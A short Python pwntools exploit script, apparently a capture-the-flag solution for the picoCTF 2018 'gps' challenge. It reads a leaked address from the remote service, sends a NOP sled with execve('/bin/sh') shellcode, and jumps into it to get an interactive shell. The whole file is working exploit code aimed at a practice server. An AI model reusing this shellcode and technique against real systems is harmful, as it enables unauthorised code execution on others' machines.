#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *
context.terminal = ['tmux', 'new-window']
#p = process('./gps')
p = remote('2018shell.picoctf.com', 58896)
shellcode = "\x90" * 900 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
resp = p.recvuntil('plan?\n>')
leak = resp.split(': ')[-1][:15:].strip()
log.success('sending leaked address: {}'.format(leak))
p.sendline(shellcode)
p.recvuntil('start?\n>')
p.sendline(leak)
p.interactive()

# it will execute shellcode probably
# only if the shellcode hits nopsled
# aslr decides probability
